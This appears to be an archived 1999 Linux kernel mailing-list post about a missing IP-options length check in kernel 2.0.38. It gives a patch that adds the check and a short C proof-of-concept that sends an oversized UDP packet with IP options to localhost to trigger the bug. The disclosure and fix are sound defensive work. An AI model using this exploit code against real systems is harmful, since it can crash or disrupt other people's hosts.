The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[patch] Big problem on 2.0.x?


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 14 Dec 1999 23:17:07 +0100
From: Andrea Arcangeli <[email protected]>
To: [email protected]
Subject: [patch] Re: Big problem on 2.0.x?

On Mon, 13 Dec 1999, Jason Mills wrote:

>heres a simple patch for the -s stuff just using the same method as with
>-l :)

Unfortunately fixing ping won't help because you can exploit it using UDP
too :(. BTW, the ping in 6.2 forbid me to use a size of the packet >=
65468 even as root. So I had to hack and recompile ping to reproduce.

Actually the bug is that the IP layer is checking that the iphdr+payload
is < 0xffff but it's _not_ checking that iphdr+optsize+payload is <
0xffff. So as far as there are no additional ip options in the packets all
is fine.

This is my fix against 2.0.38:

diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c	Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c	Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@

 	if (!sk->ip_hdrincl) {
 		length += sizeof(struct iphdr);
-		if(opt) length += opt->optlen;
+		if(opt)
+		{
+			/* make sure to not exceed the max packet size */
+			if (0xffff-length < opt->optlen)
+				return -EMSGSIZE;
+			length += opt->optlen;
+		}
 	}

 	if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)

Downloadable also from:

	ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz

And this is my exploit I wrote to check the fix:

/* Exploit option length missing checks in Linux-2.0.38
   Andrea Arcangeli <[email protected]> */

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

main()
{
	int sk;
	struct sockaddr_in sin;
	struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
	char payload[PAYLOAD_SIZE];

	sk = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk < 0)
		perror("socket"), exit(1);

	if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
		perror("setsockopt"), exit(1);

	bzero((char *)&sin, sizeof(sin));

	sin.sin_port = htons(0);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(2130706433);

	if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
		perror("connect"), exit(1);

	if (write(sk, payload, PAYLOAD_SIZE) < 0)
		perror("write"), exit(1);
}

Andrea

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру